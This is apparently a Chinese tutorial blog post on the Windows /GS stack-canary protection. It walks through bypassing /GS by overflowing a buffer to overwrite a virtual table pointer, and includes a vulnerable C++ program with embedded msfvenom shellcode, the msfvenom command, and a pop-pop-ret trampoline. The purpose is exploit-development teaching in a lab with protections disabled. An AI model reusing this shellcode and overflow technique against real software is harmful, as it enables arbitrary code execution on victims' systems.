内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

1    GS内存保护机制

1.1    GS工作原理

栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统无关)。

GS机制分三个步骤:计算随机种子 --> canary写入栈帧 --> GS校验。

[1]程序启动时,读取.data的第一个DWORD作为基数,然后和各种元素(时间戳,进程ID,线程ID,计数器等等)进行XOR加密

[2]然后将加密后的种子再次写入.data的第一个DWORD

[3]函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入EBP的前面

[4]函数主体正常执行。

[5]函数返回前(retn前一点),把cookie取出与esp异或计算后,调用security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过,则返回原函数继续执行;如果校验失败,则程序终止。

图解:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

1.2    变量重排技术

如图1.1所示,在缓冲区域cookie之间还有一些空隙,这是因为在旧版本(VS2005之前)的编译器里,局部变量是随机摆放的(指针,int,字符串位置随机)

所以这里就还存在一丝安全隐患->_->那就是Buff可能在不压过Cookie的情况下覆盖一些局部变量,所以,后期的编译器就推出了--变量重排技术。

      如图1-2所示

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

图 1-2

程序在编译时根据局部变量的类型对变量在栈中的位置进行调整,将字符串变量(图中的Buff)移动到栈的高地址处,指针参数数(图中i)复制到中地址,字符串参数(图中arg副本)复制到地地址。

1.3    通过猜测cookies值绕过/GS保护机制

/GS保护机制采用了几个较弱的熵源,攻击者可以对其进行计算并使用计算结果来预测cookie值,但是这种犯法只适用于针对本地系统的攻击(攻击者拥有该机器的访问权限)。

论文链接:http://uninformed.org/?v=7&a=2&t=pdf

1.4    通过覆盖虚函数指针绕过/GS保护机制

⑴.原理分析:

经过GS编译后的函数在栈中的分布情况如图1-3 所示。

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

图 1-3

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

图 1-4

由图1-3和2-4可知,函数中的buf变量发生溢出的时候有可能影响虚表指针,如果可以控制虚表指针,将其指向我们shellcode,就可以在程序调用时控制程序的流程。

⑵.环境准备:

实验代码:

#include "stdafx.h"

#include "string.h"

class GSVirtual {

public:

void gsv(char *src)

{

char buf[200];

strcpy(buf, src);

vir();

}

virtual void vir()

{

}

};

int main()

{

GSVirtual test;

test.gsv(

"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"

"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"

"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"

"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"

"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"

"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"

"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"

"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"

"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"

"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"

"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"

"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"

"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"

"\x5f\x64\xc5\xfd\x03\x6b"

"\x81\x99\x82\x77"                                                    //跳板指针

"\x3c\xff\x12\x00"                                                    //跳板指针地址

);

return 0;

}

编译选项设置:

启用GS保护机制:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

禁止:ASLR, DEP保护机制:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

在 vs 2008中禁止safeSEH(更高版本可以直接在属性页面下改的):

在项目属性页面下—>连接器选项—>命令行里的附加选项里输入/SAFESEH:NO就可以了。

⑶.调试分析:

i.(找到函数的入口点)在OD中打开:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

这个入口地址明显不是啊,,,,

那就用IDA看一下吧,

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

找到了函数的入口地址(004010B0)。

ii.分析函数运行流程:

       在调用虚函数之前要先初始化类

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

     在初始化类的过程中,虚函数表入栈。

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

     参数入栈,调用类函数,返回地址(EIP入栈):

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

        Ebp入栈,cookie入栈,分配缓冲区:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

将参数拷贝到缓存区:

。。。。。。。。。。。。。。(这段代码太长了就不贴了)

因为源代码在类函数里调用了虚函数,所以在类函数中会有一个从虚函数表中寻找虚函数地址的过程,并且在退出前检查cookie的值:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

整个类函数的运行过程如下:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

图 1-5

⑷.攻击过程:

i.确定shellcode大小:

从图1-5分析可知,

shellcode的大小 = 虚函数表指针的地址-类函数缓冲区中参数的起始地址+4(虚函数指针占4个字节)。

所以需要确定的地址有:

  •    虚函数指针的地址
  •    类函数缓冲区中参数的起始地址

在类函数中的相关代码如下:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

得到shellcode的大小 = 224字节

ii.设计shellcode

观察程序执行过程:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

类中虚函数的寻址过程如下:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

我们的目标是把虚表指针中的虚函数指针地址换成我们shellcode指针的地址,把虚函数指针换成恶意代码的指针。

所以shellcode代码结构如下:

Shellcode指针的地址

恶意代码指针

恶意代码

这里的恶意代码可以用msfconsole生成:

msfvenom -p windows/exec cmd=calc -b '\x00' -f c

生成长度为216字节的功能是打开计算器的恶意代码。

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

因为参数内容在栈中的是从低地址向高地址增长的,所以,在上面生成的恶意代码之后,应该加上恶意代码指针的地址,和恶意代码的指针(即首字母的地址)。

iv.确定恶意代码指针的地址和恶意代码的指针:

在类函数中,恶意代码指针的地址就是参数指针的地址,可以很快  找到(0012ff3c)。

到我们执行代码到执行虚函数之前,有两个地方有恶意代码:

  • l  主程序在调用类函数输入的恶意代码(指针=00402100)
  • l  类函数在栈缓冲区中拷贝的恶意代码(指针=0012fe64)

但是直接将这两个地址放在shellcode是不能成功的,为什么?

因为,strcpy函数的结束条件是最后一个字符是不是0,这两个地址在内存中(小端序,0012fe64在内存中是64fe1200)都是以0结尾的,之后的恶意代码的指针的地址就填充不进去了。

这可怎么办?

这里要用到一个新的技巧——跳板:

恶意代码的指针==0x0012fe64,在执行strcpy的时候,0x0012fe54中存放的值是0x0012fe64(i中的代码执行截图里可以看到)。

那么就需要跳板来实现了。

在执行(call 虚函数指针)指令之前,栈的地址是0x0012fe50。

Call指令会将下一条指令地址(0040108f)压入栈中,作为返回地址,esp = esp-4 = 0x0012fe4c

但是,如果我们将这个地址弹出去,pop esi,返回地址放到esi中,但是,栈中的返回地址就变成了,esp = esp+4 = 0x0012fe50中的内容(因为栈顶放的是返回地址)。

那么,解决的方案是不是就很明显了?

我们希望这个函数的返回地址0x0012fe64,弹出一次返回地址esp(栈顶地址增长4字节),再弹出去一次,不就是0x0012FE54,而0x0012fe54中存放的不正是0x0012fe64,此时返回,直接进入恶意代码,我们就能成功实现绕过GS保护机制的缓存区溢出攻击了。

III. 找跳板地址:

要找到一个pop xxx,pop xxx,retn指令的起始地址,且不能影响程序运行的地址来做恶意代码的指针。

实际中可以用ollydbg的插件OllyFindAddr实现。

最终的shellcode结构如下:

跳板地址的地址

跳板的地址

恶意代码

vi.攻击结果:

内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

成功。

上一篇:jquery跨域访问解决方案


下一篇:Jquery跨域访问java接口